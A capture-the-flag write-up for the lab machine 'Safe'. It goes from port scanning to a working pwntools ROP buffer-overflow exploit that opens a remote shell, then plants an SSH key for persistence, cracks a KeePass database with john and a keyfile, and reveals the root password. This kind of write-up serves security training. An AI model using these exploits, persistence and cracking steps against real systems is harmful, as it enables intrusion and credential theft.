Safe

IP: 10.10.10.147

Nmap

Scan all the ports quick as possible (`nmap -T5 -Pn -p- 10.10.10.147`) and then scan deeper on those specific ports: `nmap -A -O -T5 -Pn -p 22,80,1337 10.10.10.147`

```
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works

1337/tcp open  waste?
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     12:13:45 up 1 min, 0 users, load average: 0.02, 0.02, 0.00
|   DNSVersionBindReqTCP:
|     12:13:40 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|   GenericLines:
|     12:13:29 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|     What do you want me to echo back?
|   GetRequest:
|     12:13:35 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|     What do you want me to echo back? GET / HTTP/1.0
|   HTTPOptions:
|     12:13:35 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|     What do you want me to echo back? OPTIONS / HTTP/1.0
|   Help:
|     12:13:50 up 2 min, 0 users, load average: 0.02, 0.02, 0.00
|     What do you want me to echo back? HELP
|   NULL:
|     12:13:29 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|   RPCCheck:
|     12:13:35 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|   RTSPRequest:
|     12:13:35 up 1 min, 0 users, load average: 0.03, 0.02, 0.00
|     What do you want me to echo back? OPTIONS / RTSP/1.0
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     12:13:50 up 2 min, 0 users, load average: 0.02, 0.02, 0.00
|_    What do you want me to echo back?
```

Port 1337 seems interesting. I don't really know what's going on here. Whilst we enumerate that, let's run some background enumeration

Port 1337

```
10.10.10.147:1337
Kali Linux  Kali Training  Kali Tools  Kali Docs  Kali Foru
 12:37:36 up 25 min,  0 users,  load average: 0.00, 0.15, 0.31

What do you want me to echo back? GET / HTTP/1.1
```

If I can communicate with this, I'd bet I can do it in netcat, and I bet I can crash it.

```
kali@kali:~/Downloads/safe$ nc -nv 10.10.10.147 1337 "AAAAAAAAAAAAAAAAAAAAA"
(UNKNOWN) [10.10.10.147] 1337 (?) open
 12:31:57 up 20 min,  0 users,  load average: 0.27, 0.47, 0.45
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
invalid port AAAAAAAAAAAAAAAAAAAAA : Bad file descriptor
```

Okay it handled that pretty well. Let's give it something awful:

```
kali@kali:~/Downloads/safe$ nc -nv 10.10.10.147 1337
(UNKNOWN) [10.10.10.147] 1337 (?) open
 12:33:00 up 21 min,  0 users,  load average: 0.15, 0.39, 0.43
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA...
```

That crashed it good....but nothing seems to have come from it. Let's keep enumerating around the box.

Port 80 Website

At first the website just looks like a standard default page for apache. But if we **view source**, we find something pretty interesting.

```
4 <!-- 'myapp' can be downloaded to analyze from here
5      its running on port 1337 -->
```

Putting `/myapp` in the url gives us the file to download.

```
10.10.10.147/myapp
Opening myapp
You have chosen to open:
  myapp
  which is: application/octet-stream (16.2 KB)
  from: http://10.10.10.147
Would you like to save this file?
Cancel   Save File
```

MyApp

Once downloaded, `chmod +x myapp` so it can run:

```
kali@kali:~/Downloads/safe$ chmod +x myapp
kali@kali:~/Downloads/safe$ ls
myapp
kali@kali:~/Downloads/safe$ ./myapp
 12:40:49 up 36 min,  1 user,  load average: 0.21, 0.17, 0.25

What do you want me to echo back?
```

I send it back a stupid amount of characters, and I got back Segmentation Fault, which says to me we're dealing with a **Buffer Overflow**

```
6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7
u9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx
Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2
4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf
h7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7C
Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0
Segmentation fault
```

Buffer Overflow: Investigation

First make sure you've got the ncessary installations. I had to run all of these as **sudo** to get it to **install** properly.

```
sudo apt-get install gdb
sudo git clone https://github.com/longld/peda.git ~/peda
sudo echo "source ~/peda/peda.py" >> ~/.gdbinit
sudo sh -c "$(wget https://tinyurl.com/gef-install -O -)"
```

Then start the programme: `sudo gdb ./myapp`

First let's check if **ALSR** is activated, which randomises memory and makes exploits a bit more complicated: `alsr`

```
gef➤  aslr
ASLR is currently disabled
```

Then, we need to check what protections exist: `checksec` . As **NX** is acviated, we'll need to make our exploit ROP-based

```
gef➤  checksec
[+] checksec for '/home/kali/Downloads/safe/myapp'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial
```

Finding the Offset

You can generate patterns via: `pattern create 300` ,and then put this into the section after **"echo back?"**

```
gef➤  pattern create 300
[+] Generating a pattern of 300 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaa
anaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaa
abbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
```

```
gef➤  run
Starting program: /home/kali/Downloads/safe/myapp
[Detaching after vfork from child process 2409]
 15:49:05 up 26 min,  1 user,  load average: 0.00, 0.03, 0.05

What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaa
aaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaa
aaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaa
aaaabkaaaaaablaaaaaabmaaa
```

The programme will crash, and we'll be given a 'report' that uses the uniquely generated characters to let us know what bytes made it to where in the programme. Pay attention to the blue arrow in the STACK section, and copy and paste the entire line from there: `paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava`

```
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00007ffff7edd673  →  0x5577fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe568  →  "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp   : 0x616161616161616f ("oaaaaaaa"?)
$rsi   : 0x00000000004052a0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rdi   : 0x00007ffff7fae4c0  →  0x0000000000000000
$rip   : 0x00000000004011ac  →  <main+77> ret
$r8    : 0x12d
$r9    : 0x00007fffffffe4e0  →  0x0000000000000000
$r10   : 0x00000000004053cc  →  0x000000000000000a
$r11   : 0x246
$r12   : 0x0000000000401070  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe640  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe568│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"   ← $rsp
0x00007fffffffe570│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffe578│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffe580│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffe588│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[...]"
0x00007fffffffe590│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[...]"
0x00007fffffffe598│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[...]"
0x00007fffffffe5a0│+0x0038: "waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[...]"
────────────────────────────────────────────────────────── code:x86:64 ────
     0x4011a1 <main+66>        call   0x401030 <puts@plt>
     0x4011a6 <main+71>        mov    eax, 0x0
     0x4011ab <main+76>        leave
 →   0x4011ac <main+77>        ret
[!] Cannot disassemble from $PC
```

Now use `pattern offset` and paste in that copied line, and it will tell us the offset is at **120 bytes.** It's after this we start over-writing the RIP

```
gef➤  pattern offset paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava
[+] Searching 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava'
[+] Found at offset 120 (big-endian search)
gef➤
```

ROP Ingredients

We're gonna need to know a few more things to build our ROP-based attack.

First, let's find out the functions: `info functions.` Make note of the **systemaddress** (system@plt): `0x401040` (omit all the zeros in the middle)

```
File xpg_basename.c:
25:     char *__xpg_basename(char *);

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  printf@plt
0x0000000000401060  gets@plt
0x0000000000401070  _start
0x00000000004010a0  _dl_relocate_static_pie
0x00000000004010b0  deregister_tm_clones
0x00000000004010e0  register_tm_clones
0x0000000000401120  __do_global_dtors_aux
0x0000000000401150  frame_dummy
0x0000000000401152  test
0x000000000040115f  main
0x00000000004011b0  __libc_csu_init
0x0000000000401210  __libc_csu_fini
0x0000000000401214  _fini
0x00007ffff7fd5010  _dl_catch_exception@plt
0x00007ffff7fd5020  malloc@plt
```

Second, we want to disassemble the test and main functions: `disass test` and `disass main`

```
gef➤  disass main
Dump of assembler code for function main:
   0x000000000040115f <+0>:     push   rbp
   0x0000000000401160 <+1>:     mov    rbp,rsp
   0x0000000000401163 <+4>:     sub    rsp,0x70
   0x0000000000401167 <+8>:     lea    rdi,[rip+0xe9a]        # 0x402008
   0x000000000040116e <+15>:    call   0x401040 <system@plt>
   0x0000000000401173 <+20>:    lea    rdi,[rip+0xe9e]        # 0x402018
   0x000000000040117a <+27>:    mov    eax,0x0
   0x000000000040117f <+32>:    call   0x401050 <printf@plt>
   0x0000000000401184 <+37>:    lea    rax,[rbp-0x70]
   0x0000000000401188 <+41>:    mov    esi,0x3e8
   0x000000000040118d <+46>:    mov    rdi,rax
   0x0000000000401190 <+49>:    mov    eax,0x0
   0x0000000000401195 <+54>:    call   0x401060 <gets@plt>
   0x000000000040119a <+59>:    lea    rax,[rbp-0x70]
   0x000000000040119e <+63>:    mov    rdi,rax
   0x00000000004011a1 <+66>:    call   0x401030 <puts@plt>
   0x00000000004011a6 <+71>:    mov    eax,0x0
   0x00000000004011ab <+76>:    leave
=> 0x00000000004011ac <+77>:    ret
End of assembler dump.
gef➤  disass test
Dump of assembler code for function test:
   0x0000000000401152 <+0>:     push   rbp
   0x0000000000401153 <+1>:     mov    rbp,rsp
   0x0000000000401156 <+4>:     mov    rdi,rsp
   0x0000000000401159 <+7>:     jmp    r13
   0x000000000040115c <+10>:    nop
   0x000000000040115d <+11>:    pop    rbp
   0x000000000040115e <+12>:    ret
End of assembler dump.
```

In **test**, the first address will be useful for us: **0x401152**

We can use `ropper` to make our life easier. `sudo apt-get install ropper` and then `ropper --file myapp`

We're looking for where **r13**, pops: at address **0x401206**

```
0x00000000004010c6: or dword ptr [rdi + 0x404048], edi; jmp rax;
0x0000000000401204: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401206: pop r13; pop r14; pop r15; ret;
0x0000000000401208: pop r14; pop r15; ret;
0x000000000040120a: pop r15; ret;
0x0000000000401203: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401207: pop rbp; pop r14; pop r15; ret;
```

Exploit construction

We're going to need to install the pwn tools from python: https://docs.pwntools.com/en/stable/install.html .Once you execute the exploit, you may get this problem (see screenshot below). You can solve this by installing pwn tools at `python` by itself, **not** python3.

```
TypeError: can only concatenate str (not "bytes") to str
```

And then our exploit is going to look like this: **buffer.py**

```
from pwn import *

#Basic info for exploit to work
p = remote("10.10.10.147", 1337)
#p = process("./myapp") this is to test it on the copy we have
                              #first. Comment out above command
context(os="linux", arch="amd64")

#Payload Details
junk = "A" * 112 # chars needed to reach offset
cmd = "/bin/sh\x00" # tell the RPB to give us a shell
pop_r13 = p64(0x401206) # what we got from ropper
random = p64(0x000000) # random to fill r14 and r15 space
mov_rsp_to_rdi = p64(0x401152) # uses the instructions in
                              #Test: mv rdi, rsp
system = p64(0x401040) # the system address

#buffer
buf = junk + cmd # reach the RBP offset,and then execute our shell
buf += pop_r13
buf += system # set r13 for system call
buf += random + random  # for r14 and 15
buf += mov_rsp_to_rdi

#Send payload
p.recvline()
p.sendline(buf)
p.interactive()
```

Send the exploit: `chmod +x buffer.py` , and then `python buffer.py`

```
kali@kali:~/Downloads/safe$ python buffer.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
```

User Shell

We can gain a better shell through SSH Keygen

In your kali, do ssh-keygen, and then `cat /home/kali/.ssh/id_rsa.pub` and copy the output.

In the victim shell, `cd` into `/home/user/.ssh/` and `echo` what you have pasted into `> authorized_keys`

```
$ pwd
/home/user/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvmtVZ6BjO8Rbv64OZsouqQWG4npTzE6glKyoxKVu3rt4fdok1QK8Nv1xkgMh7Cjho...
 kali@kali" > authorized_keys
```

Then it's as simple as SSHing as the user in your kali: `ssh user@10.10.10.147`

```
kali@kali:~/Downloads/safe$ ssh user@10.10.10.147
The authenticity of host '10.10.10.147 (10.10.10.147)' can't be established.
ECDSA key fingerprint is SHA256:SLbYsnF/xaUQIxRufe8Ux6dZJ9+Jler9PTISUR9Oxkc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.147' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/kali/.ssh/id_rsa':
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user@safe:~$
```

Transfering Files

The user has some interesting files, and we can copy them all back to our kali machine via: `scp user@10.10.10.147:* .`

```
total 12M
4.0K drwxr-xr-x 2 kali kali 4.0K Jul  1 17:16 .
4.0K drwxr-xr-x 3 kali kali 4.0K Jul  1 17:15 ..
1.9M -rw-r--r-- 1 kali kali 1.9M Jul  1 17:16 IMG_0545.JPG
1.9M -rw-r--r-- 1 kali kali 1.9M Jul  1 17:16 IMG_0546.JPG
2.5M -rw-r--r-- 1 kali kali 2.5M Jul  1 17:16 IMG_0547.JPG
2.8M -rw-r--r-- 1 kali kali 2.8M Jul  1 17:16 IMG_0548.JPG
1.1M -rw-r--r-- 1 kali kali 1.1M Jul  1 17:16 IMG_0552.JPG
1.1M -rw-r--r-- 1 kali kali 1.1M Jul  1 17:16 IMG_0553.JPG
 20K -rwxr-xr-x 1 kali kali  17K Jul  1 17:16 myapp
4.0K -rw-r--r-- 1 kali kali 2.4K Jul  1 17:16 MyPasswords.kdbx
4.0K -rw------- 1 kali kali   33 Jul  1 17:16 user.txt
```

Brute Forcing

We can use `keepass2john` to break open the **.kdbx**. At first this doesn't work, but after a while I realize that the the images are keyfiles that can be added by `-k`

```
sudo keepass2john -k IMG_0547.JPG MyPasswords.kdbx > hash.txt
john --wordlist=./rockyou.txt ./hash.txt
```

```
kali@kali:~/Downloads/safe/user/user$ sudo keepass2john -k IMG_0547.JPG MyPasswords.kdbx > hash.txt
kali@kali:~/Downloads/safe/user/user$ sudo john --wordlist=./rockyou.txt ./hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 2 needed for performance.
bullshit         (MyPasswords)
1g 0:00:00:00 DONE (2020-07-01 17:30) 50.00g/s 50.00p/s 50.00c/s 50.00C/s bullshit
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

We get the password: **bullshit**

Opening the .kdbx

We can install a command line tool for KeepPass: `sudo apt-get install kpcli libterm-readline-gnu-perl libdata-password-perl`

And then we can open the file and append its key, and then give the password bullshit : kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG

```
kali@kali:~/Downloads/safe/user/user$ kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/>
```

`cd` into `MyPasswords` , and then `show -f 0` to read root's password: `u3v2249dl9ptv465cogl3cnpo3fyhk`

```
kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show -f 0

Title: Root password
Uname: root
 Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
  URL:
Notes:
```

Root Shell

Go back to your user shell. SSH back into it if you lost it, and then `su root` and put in the password: `u3v2249dl9ptv465cogl3cnpo3fyhk`

```
kali@kali:~/Downloads/safe$ ssh user@10.10.10.147
Enter passphrase for key '/home/kali/.ssh/id_rsa':
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul  1 17:14:10 2020 from 10.10.14.34
user@safe:~$ su root
```